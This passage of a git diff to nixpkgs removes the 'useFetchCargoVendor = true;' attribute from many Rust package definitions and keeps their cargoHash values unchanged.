diff --git a/pkgs/by-name/ce/centerpiece/package.nix b/pkgs/by-name/ce/centerpiece/package.nix
index d487884f4d7d..cd31952b7a0a 100644
--- a/pkgs/by-name/ce/centerpiece/package.nix
+++ b/pkgs/by-name/ce/centerpiece/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-tZNwMPL1ITWVvoywojsd5j0GIVQt6pOKFLwi7jwqLKg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qwKn9NN7+F/S8ojObjWBU2y2wG0TNeYbYHiwou8AhnI=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/cf/cfdyndns/package.nix b/pkgs/by-name/cf/cfdyndns/package.nix
index 66bf5369ce27..2c0172252ffc 100644
--- a/pkgs/by-name/cf/cfdyndns/package.nix
+++ b/pkgs/by-name/cf/cfdyndns/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OV1YRcZDzYy1FP1Bqp9m+Jxgu6Vc0aWpbAffNcdIW/4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VA4oT8WeXdxjr/tKbrRuZPLpXmmXbeKC5d6laRHr+uo=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/cf/cfonts/package.nix b/pkgs/by-name/cf/cfonts/package.nix
index f709db09280f..3c6b827bfbcd 100644
--- a/pkgs/by-name/cf/cfonts/package.nix
+++ b/pkgs/by-name/cf/cfonts/package.nix
@@ -12,7 +12,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-W5hN+b4R50tNfYb3WrM0z5Etm6ixa11pZWnzGC9bjSs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MXUUvk7R1JdjNlZ7h3ymUAPOT/A0I8TOW3saBB4C94o=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cf/cfspeedtest/package.nix b/pkgs/by-name/cf/cfspeedtest/package.nix
index c9decc92d1c0..f2440e9a7b94 100644
--- a/pkgs/by-name/cf/cfspeedtest/package.nix
+++ b/pkgs/by-name/cf/cfspeedtest/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-6ea9qOAFP7+1UIrGASFiAPyem+VDVgzrgD44ELsXRzc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uyLd4KQa9zWMCuurpdQv0OnCSguE180dm6FzHR+nC40=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ch/chainsaw/package.nix b/pkgs/by-name/ch/chainsaw/package.nix
index 17c763fff44c..297e35afe7d0 100644
--- a/pkgs/by-name/ch/chainsaw/package.nix
+++ b/pkgs/by-name/ch/chainsaw/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-SoQXGpkMrE0vno0dJ00ebB0oR1sDVlgWRSgKQoHlv2A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ncf5fRf9NulcWTOuRE2rdAOIyvz5YEgpB1j/Rfj8vDk=";
 
   ldflags = [
diff --git a/pkgs/by-name/ch/changelogging/package.nix b/pkgs/by-name/ch/changelogging/package.nix
index 5610d401744b..36453e475290 100644
--- a/pkgs/by-name/ch/changelogging/package.nix
+++ b/pkgs/by-name/ch/changelogging/package.nix
@@ -17,8 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   cargoHash = "sha256-2uYNwKjD0vX+C2Sj2epyTqe4sMqPa7cwVwoUHs3vtQE=";
 
-  useFetchCargoVendor = true;
-
   passthru.updateScript = nix-update-script { };
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/ch/charasay/package.nix b/pkgs/by-name/ch/charasay/package.nix
index 8b4c188a9d6d..b6449fde99bd 100644
--- a/pkgs/by-name/ch/charasay/package.nix
+++ b/pkgs/by-name/ch/charasay/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NB2GDDFH9IW/c0acMojYHuzPrx0J3tjlDqjQa6ZRbN4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-i2CvwQXKKfYLdK0tKf/w4TepPyMo99v1I+kIr00PWcY=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ch/chars/package.nix b/pkgs/by-name/ch/chars/package.nix
index ae87f1efd6c8..a0bf73eaa88a 100644
--- a/pkgs/by-name/ch/chars/package.nix
+++ b/pkgs/by-name/ch/chars/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-mBtwdPzIc6RgEFTyReStFlhS4UhhRWjBTKT6gD3tzpQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Df+twOjzfq+Vxzuv+APiy94XmhBajgk+6+1BRFf+xm0=";
 
   passthru = {
diff --git a/pkgs/by-name/ch/checkpwn/package.nix b/pkgs/by-name/ch/checkpwn/package.nix
index 4c63aa50be43..429b4fef19a3 100644
--- a/pkgs/by-name/ch/checkpwn/package.nix
+++ b/pkgs/by-name/ch/checkpwn/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-M0Jb+8rKn4KVuumNSsM6JEbSOoBOFy9mmXiCnUnDgak=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8ALu1Ij4o2fdsRWhlWu6rOIfHZjIIC+fHJ07XIbH66s=";
 
   # requires internet access
diff --git a/pkgs/by-name/ch/cherrybomb/package.nix b/pkgs/by-name/ch/cherrybomb/package.nix
index b1ea2ba7875a..3f3763e9fa1d 100644
--- a/pkgs/by-name/ch/cherrybomb/package.nix
+++ b/pkgs/by-name/ch/cherrybomb/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MHKBP102U1Ug9wZm9x4+opZgG8f6Hx03FvoLV4qaDgY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-j9CT2HHFY4ANWKvx8t/jgCc3aOiSEJlq8CHstjSc+O4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ch/chess-tui/package.nix b/pkgs/by-name/ch/chess-tui/package.nix
index fba36ad6acdd..4212e2c1afba 100644
--- a/pkgs/by-name/ch/chess-tui/package.nix
+++ b/pkgs/by-name/ch/chess-tui/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-L7SaWNSS5tn8OyKTPixTtlMB+OmVd9I0VXtasQMI5GI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-u3Di/vTKbyehmNbTlMZPNRejgK9jYROQv8qdz2XT4Bs=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ch/chiptrack/package.nix b/pkgs/by-name/ch/chiptrack/package.nix
index efbf9268e811..4a97ba3c894f 100644
--- a/pkgs/by-name/ch/chiptrack/package.nix
+++ b/pkgs/by-name/ch/chiptrack/package.nix
@@ -65,7 +65,7 @@ rustPlatform.buildRustPackage.override { stdenv = clangStdenv; } rec {
   ++ lib.optionals clangStdenv.hostPlatform.isLinux [ alsa-lib ];
 
   # Has git dependencies
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-3LRyAY5NmXiJRrN+jwaUX65ArBCl8BiFoaWU2fVRMA8=";
 
   env = {
diff --git a/pkgs/by-name/ch/chirpstack-concentratord/package.nix b/pkgs/by-name/ch/chirpstack-concentratord/package.nix
index 528c4af854f5..eba6ea6c605e 100644
--- a/pkgs/by-name/ch/chirpstack-concentratord/package.nix
+++ b/pkgs/by-name/ch/chirpstack-concentratord/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-koEzUTbeuTjeoHmZc6hP2cZM66d0toI9YExGRtDjNBQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JRcVigA5yDsW4otPMvi3udjasQWQNrWJQ6zd6XXyQIk=";
 
   buildInputs = [
diff --git a/pkgs/by-name/ch/chirpstack-mqtt-forwarder/package.nix b/pkgs/by-name/ch/chirpstack-mqtt-forwarder/package.nix
index 201b76b285e5..b72e98e190a2 100644
--- a/pkgs/by-name/ch/chirpstack-mqtt-forwarder/package.nix
+++ b/pkgs/by-name/ch/chirpstack-mqtt-forwarder/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JsRhgSEA5xdpeljdA9/h5bVGytt6rIvX3FqI6ZiCLys=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6kN4ml7JVW6Ygw9+wg79h+1zv/HPNjTw1FZlOOl7jGc=";
 
   nativeBuildInputs = [ protobuf ];
diff --git a/pkgs/by-name/ch/chirpstack-udp-forwarder/package.nix b/pkgs/by-name/ch/chirpstack-udp-forwarder/package.nix
index f8b2355d0e2a..b24b3a926ec7 100644
--- a/pkgs/by-name/ch/chirpstack-udp-forwarder/package.nix
+++ b/pkgs/by-name/ch/chirpstack-udp-forwarder/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-71pzD1wF6oNgi2eP/f/buX/vWpZda5DpD2mN1F7n3lk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3RrFA/THO9fWfk41nVbFGFv/VeFOcdN2mWgshC5PODw=";
 
   nativeBuildInputs = [ protobuf ];
diff --git a/pkgs/by-name/ch/choose/package.nix b/pkgs/by-name/ch/choose/package.nix
index a56d726f4a60..3043e782099d 100644
--- a/pkgs/by-name/ch/choose/package.nix
+++ b/pkgs/by-name/ch/choose/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-ojmib9yri/Yj1VSwwssbXv+ThnZjUXLTmOpfPGdGFaU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SecWDujJu68K1LMQJQ55LeW51Ag/aCt1YKcdWeRp22c=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ci/cicero-tui/package.nix b/pkgs/by-name/ci/cicero-tui/package.nix
index c78751b54c1c..a315fa443702 100644
--- a/pkgs/by-name/ci/cicero-tui/package.nix
+++ b/pkgs/by-name/ci/cicero-tui/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage rec {
     freetype
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-D+CcUNVMgn8fiGcr+dYkQJoRHzpo3l5qTacCUKCydOQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ci/ciel/package.nix b/pkgs/by-name/ci/ciel/package.nix
index 98bfd6f8e185..e0a1c2ea5582 100644
--- a/pkgs/by-name/ci/ciel/package.nix
+++ b/pkgs/by-name/ci/ciel/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-J6mXNJuLkKVNzE5lRRQEOt0yb2ow5EctXkr22eqOfII=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-n9VCy3nlZ+WDm9krlc3XO/YgdrbEMJuODBvYRkznUgU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ci/cinny-desktop/package.nix b/pkgs/by-name/ci/cinny-desktop/package.nix
index 314e2412badc..1686abaee9f0 100644
--- a/pkgs/by-name/ci/cinny-desktop/package.nix
+++ b/pkgs/by-name/ci/cinny-desktop/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   sourceRoot = "${finalAttrs.src.name}/src-tauri";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lWU1NrUwcAXQR6mEiCr6Ze3TzpDYvCx5/fBIef9ao5I=";
 
   postPatch =
diff --git a/pkgs/by-name/ci/circom/package.nix b/pkgs/by-name/ci/circom/package.nix
index d74ae936bd3c..a613f5eab561 100644
--- a/pkgs/by-name/ci/circom/package.nix
+++ b/pkgs/by-name/ci/circom/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-BSInX4owuamRWnlKL1yJJOyzRIiE55TIzCk2TdX7aOQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dkgLp6BKuublS97iRXYzbT4ztbWBD5IDMz9rDY9XgcA=";
   doCheck = false;
 
diff --git a/pkgs/by-name/ci/citron/package.nix b/pkgs/by-name/ci/citron/package.nix
index 6cd78147595c..3a446d38826f 100644
--- a/pkgs/by-name/ci/citron/package.nix
+++ b/pkgs/by-name/ci/citron/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6wJ4UfiwpV9zFuBR8SYj6eBiRqQitFs7wRe5R51Z3SA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HEDkNzNCXKmBsI5fL8+UK4SHrU9eLde6Vfh4XhSrK+A=";
 
   buildInputs = [ dbus ];
diff --git a/pkgs/by-name/cl/cl-wordle/package.nix b/pkgs/by-name/cl/cl-wordle/package.nix
index 80ec161a6ad6..52007fc85e13 100644
--- a/pkgs/by-name/cl/cl-wordle/package.nix
+++ b/pkgs/by-name/cl/cl-wordle/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-wFTvzAzboUFQg3fauIwIdRChK7rmLES92jK+8ff1D3s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kkR49UwwkpZhKvBadPTUn0D/4sRVlVJowQ1+BqtBVOs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cl/clang-tidy-sarif/package.nix b/pkgs/by-name/cl/clang-tidy-sarif/package.nix
index c90de82444f5..ec3e1fb6c646 100644
--- a/pkgs/by-name/cl/clang-tidy-sarif/package.nix
+++ b/pkgs/by-name/cl/clang-tidy-sarif/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ALwEsF1n6WYqITfYTn8mIyn3sxTbDux17FxKIorKkFc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cTBXStAA+oCRze2Bh/trultdqtBNOOpXQltJ6R34nF8=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/cl/clapboard/package.nix b/pkgs/by-name/cl/clapboard/package.nix
index b264ae2d0138..94198942cc33 100644
--- a/pkgs/by-name/cl/clapboard/package.nix
+++ b/pkgs/by-name/cl/clapboard/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TM07BcluIh+MEcVg1ApZu85rj36ZBUfn125A0eALNMo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uPMaw36y9773LTu02muLot8I42VM2GE/MJSAHClLNgs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cl/clash-rs/package.nix b/pkgs/by-name/cl/clash-rs/package.nix
index 0155e8d72370..bf5558bdf885 100644
--- a/pkgs/by-name/cl/clash-rs/package.nix
+++ b/pkgs/by-name/cl/clash-rs/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-c4XF0F2ifTvbXTMGiJc1EaGTlS/X5ilZTpXe01uHs4Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZSwNlknpZ0zKj+sklmO14Ey5DPZ0Wk9xxMiXwIiuRd0=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/cl/clash-verge-rev/service.nix b/pkgs/by-name/cl/clash-verge-rev/service.nix
index 60f2670efbc8..15071e8fa187 100644
--- a/pkgs/by-name/cl/clash-verge-rev/service.nix
+++ b/pkgs/by-name/cl/clash-verge-rev/service.nix
@@ -40,6 +40,5 @@ rustPlatform.buildRustPackage {
     OPENSSL_NO_VENDOR = 1;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = service-cargo-hash;
 }
diff --git a/pkgs/by-name/cl/clash-verge-rev/unwrapped.nix b/pkgs/by-name/cl/clash-verge-rev/unwrapped.nix
index f5bd48fb18cf..4275b0143daf 100644
--- a/pkgs/by-name/cl/clash-verge-rev/unwrapped.nix
+++ b/pkgs/by-name/cl/clash-verge-rev/unwrapped.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage {
   pname = "${pname}-unwrapped";
   sourceRoot = "${src.name}/src-tauri";
 
-  useFetchCargoVendor = true;
   cargoHash = vendor-hash;
 
   env = {
diff --git a/pkgs/by-name/cl/clashtui/package.nix b/pkgs/by-name/cl/clashtui/package.nix
index 7f0d74d46748..4e513703be9d 100644
--- a/pkgs/by-name/cl/clashtui/package.nix
+++ b/pkgs/by-name/cl/clashtui/package.nix
@@ -19,8 +19,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/clashtui";
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-8oDnumyn0Ry1AIWNLO2+1HSPsxkVLRLItgEVEXqSRFI=";
 
   cargoBuildFlags = [ "--all-features" ];
diff --git a/pkgs/by-name/cl/click/package.nix b/pkgs/by-name/cl/click/package.nix
index 96afcd703127..e1e7d8491cd7 100644
--- a/pkgs/by-name/cl/click/package.nix
+++ b/pkgs/by-name/cl/click/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-tYSbyDipZg6Qj/CWk1QVUT5AG8ncTt+5V1+ekpmsKXA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-K9+SGpWcsOy0l8uj1z6AQggZq+M7wHARACFxsZ6vbUo=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
diff --git a/pkgs/by-name/cl/cliflux/package.nix b/pkgs/by-name/cl/cliflux/package.nix
index 8981b0e57f43..6b002216f6e6 100644
--- a/pkgs/by-name/cl/cliflux/package.nix
+++ b/pkgs/by-name/cl/cliflux/package.nix
@@ -18,8 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-AGkinlN5Ng0LXau6U9Ft+yMIFMpbrbup3R3c3UlglEM=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-3nNvPQMnYRZlhUab0MSf39vMNidpMLJh56JSjlsrYAg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/cl/clima/package.nix b/pkgs/by-name/cl/clima/package.nix
index 650ccfacf768..90dbd6bb13cc 100644
--- a/pkgs/by-name/cl/clima/package.nix
+++ b/pkgs/by-name/cl/clima/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CRnAxhkuCTyHR4uQofA51Dm3+YKqm3iwBkFNkbLTv1A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3BNDo5ksra1d8X6yQZYSlS2CSiZfkuTHkQtIC2ckbKE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cl/clini/package.nix b/pkgs/by-name/cl/clini/package.nix
index 233eb0178b82..788781b43073 100644
--- a/pkgs/by-name/cl/clini/package.nix
+++ b/pkgs/by-name/cl/clini/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+HnoYFRG7GGef5lV4CUsUzqPzFUzXDajprLu25SCMQo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-N18/pCOdwcYA3Uu6+/HAdeqf2xXQcZoaWhOEPMncDKM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cl/clipcat/package.nix b/pkgs/by-name/cl/clipcat/package.nix
index 66bfcc8dab99..56e2e87e051f 100644
--- a/pkgs/by-name/cl/clipcat/package.nix
+++ b/pkgs/by-name/cl/clipcat/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CIqV5V7NN2zsqBwheJrcBnOTOBEncIwqqXdsZ9DLAog=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UA+NTtZ2qffUPUmvCidnTHwFzD3WOPTlxHR2e2vKwPQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/cl/clippy-sarif/package.nix b/pkgs/by-name/cl/clippy-sarif/package.nix
index eed513ff09b2..169aaa5e3e17 100644
--- a/pkgs/by-name/cl/clippy-sarif/package.nix
+++ b/pkgs/by-name/cl/clippy-sarif/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pqu7jIKksjn52benebICQEhgCW59MX+RRTcHm2ufjWE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wdJTQjDCmbJVPEUV6DENb2UegAc1ET4iSw3SzmlGPnA=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/cl/cloak/package.nix b/pkgs/by-name/cl/cloak/package.nix
index af7b2f634108..227a62f67027 100644
--- a/pkgs/by-name/cl/cloak/package.nix
+++ b/pkgs/by-name/cl/cloak/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Pd2aorsXdHB1bs609+S5s+WV5M1ql48yIKaoN8SEvsg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PAZOenugZrKYIP7zzxozerjkauwg7VN0mAlex0WPttQ=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/cl/clock-rs/package.nix b/pkgs/by-name/cl/clock-rs/package.nix
index b6047daa75d7..241532d9075d 100644
--- a/pkgs/by-name/cl/clock-rs/package.nix
+++ b/pkgs/by-name/cl/clock-rs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-uDEvJqaaBNRxohYqHE6qfqUF07ynRvGwJKWbYfgPEvg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Zry6mkOUdEgC95Y3U3RCXPJUsmaSoRPlHvUThI92GQU=";
 
   meta = {
diff --git a/pkgs/by-name/cl/clog-cli/package.nix b/pkgs/by-name/cl/clog-cli/package.nix
index 92c965f6cdc9..58feba94321c 100644
--- a/pkgs/by-name/cl/clog-cli/package.nix
+++ b/pkgs/by-name/cl/clog-cli/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-d1csT7iHf48kLkn6/cGhoIoEN/kiYc6vlUwHDNmbnMI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-b8/n3y6fTqP5+rZySEDEb8Z5DPHQ2jUasp5SvaJJlGo=";
 
   meta = {
diff --git a/pkgs/by-name/cl/cloneit/package.nix b/pkgs/by-name/cl/cloneit/package.nix
index 1ff7211bc0fa..967ff7b42c2d 100644
--- a/pkgs/by-name/cl/cloneit/package.nix
+++ b/pkgs/by-name/cl/cloneit/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-RP0/kquAlSwRMeB6cjvS5JB9qfdkT8IKLVxaxrmzJ+0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZcowTGIl6RiP6qpP5LqgePCgII+qgEcebe5pq4ubv6o=";
 
   strictDeps = true;
diff --git a/pkgs/by-name/cl/clorinde/package.nix b/pkgs/by-name/cl/clorinde/package.nix
index 3eed4fed07e1..231e8a2a5120 100644
--- a/pkgs/by-name/cl/clorinde/package.nix
+++ b/pkgs/by-name/cl/clorinde/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-ze/PEML1buh3HlVgz6ifMPWfZnr6eT3VpIXf7jR68jw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dp5m/PLVG8xUM6LCq48NKK0P8di44keB/YZ9ocfL0Bg=";
 
   cargoBuildFlags = [ "--package=clorinde" ];
diff --git a/pkgs/by-name/cl/cloud-hypervisor/package.nix b/pkgs/by-name/cl/cloud-hypervisor/package.nix
index 442a83cf3e26..c613aefafac7 100644
--- a/pkgs/by-name/cl/cloud-hypervisor/package.nix
+++ b/pkgs/by-name/cl/cloud-hypervisor/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PmgHO3gRE/LfLiRC+sAQXKUeclweVUNJV2ihpkvx0Wg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-h9ydLEp7GpW5jMkt5jObR09lPWGs+rmvdoEZntIZwxY=";
 
   separateDebugInfo = true;
diff --git a/pkgs/by-name/cm/cmd-wrapped/package.nix b/pkgs/by-name/cm/cmd-wrapped/package.nix
index 41d40eb271be..0fdb5024a81d 100644
--- a/pkgs/by-name/cm/cmd-wrapped/package.nix
+++ b/pkgs/by-name/cm/cmd-wrapped/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-tIvwJo33Jz9cPq6o4Ytc3VqkxEaxt0W9Fd8CNp+7vAE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Pv+LTHMLJh4LxKmvF6aJLZlDf97ZHI8gzn7vP+quNhc=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cn/cnsprcy/package.nix b/pkgs/by-name/cn/cnsprcy/package.nix
index bc277adbe46b..662df4a1f5ca 100644
--- a/pkgs/by-name/cn/cnsprcy/package.nix
+++ b/pkgs/by-name/cn/cnsprcy/package.nix
@@ -18,8 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   sourceRoot = "${finalAttrs.src.name}/v${finalAttrs.version}";
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-8hNuF5tD1PwdIJB0q3wxDOGDcppo0ac+zol3AHWGv0s=";
 
   passthru.updateScript = ./update.sh;
diff --git a/pkgs/by-name/cn/cntr/package.nix b/pkgs/by-name/cn/cntr/package.nix
index 3810e450a1d8..3384741a2f94 100644
--- a/pkgs/by-name/cn/cntr/package.nix
+++ b/pkgs/by-name/cn/cntr/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-2tqPxbi8sKoEPq0/zQFsOrStEmQGlU8s81ohTfKeOmE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gWQ8seCuUSHuZUoNH9pnBTlzF9S0tHVLStnAiymLLbs=";
 
   passthru.tests = nixosTests.cntr;
diff --git a/pkgs/by-name/co/cobalt/package.nix b/pkgs/by-name/co/cobalt/package.nix
index c347159e9f7d..bfa724559d5b 100644
--- a/pkgs/by-name/co/cobalt/package.nix
+++ b/pkgs/by-name/co/cobalt/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-6WbJjPz+1KX04xMCiylJZiAPjF6jKPTPz7rObgFF4dY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Y9+zJ89XrVk3mZD1s9N7oaXvcBP5RNjp3hMjX1Wz3HA=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/co/cocogitto/package.nix b/pkgs/by-name/co/cocogitto/package.nix
index 8511e41249a3..007b62d3af0c 100644
--- a/pkgs/by-name/co/cocogitto/package.nix
+++ b/pkgs/by-name/co/cocogitto/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ij5vpIpqCYGNPNWPY47rWmMLEgBh+wtVmLRt11S14rE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wfq1W9zjC0phPUr6SaLv8Ia5aQk/+1ujOTo0241X7AY=";
 
   # Test depend on git configuration that would likely exist in a normal user environment
diff --git a/pkgs/by-name/co/cocom/package.nix b/pkgs/by-name/co/cocom/package.nix
index 0e3d79ec2d32..364312cfa091 100644
--- a/pkgs/by-name/co/cocom/package.nix
+++ b/pkgs/by-name/co/cocom/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "0sl4ivn95sr5pgw2z877gmhyfc4mk9xr457i5g2i4wqnf2jmy14j";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kfseD0dYNC1IFAamLJee7LozGppE2mZgBMCUHJC0dP4=";
 
   # Tests require network access
diff --git a/pkgs/by-name/co/code-minimap/package.nix b/pkgs/by-name/co/code-minimap/package.nix
index 5d6806d3fa4a..61dbb9cefc49 100644
--- a/pkgs/by-name/co/code-minimap/package.nix
+++ b/pkgs/by-name/co/code-minimap/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-unf7gFc/tQiUw3VqQ0KC96Srxn1E27WsmJviSggaCF4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-35qMpxROBnXfnTIAkCRUg7zRQTvSIIA2qGD0Vu9r488=";
 
   buildInputs = lib.optional stdenv.hostPlatform.isDarwin libiconv;
diff --git a/pkgs/by-name/co/codeberg-cli/package.nix b/pkgs/by-name/co/codeberg-cli/package.nix
index c832396b10ea..1bee8bf937fe 100644
--- a/pkgs/by-name/co/codeberg-cli/package.nix
+++ b/pkgs/by-name/co/codeberg-cli/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wf9Ve7focNBo6fGsjBQpTIx+DtxOo73AIQ9uoV8Q88Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LmLMTnNwxih5HcrMUmQpVdIVz4KeHxcOFtOrNqgGPkA=";
   nativeBuildInputs = [
     pkg-config
diff --git a/pkgs/by-name/co/codemov/package.nix b/pkgs/by-name/co/codemov/package.nix
index e1e6eaa8218d..21fbbd1b62b3 100644
--- a/pkgs/by-name/co/codemov/package.nix
+++ b/pkgs/by-name/co/codemov/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
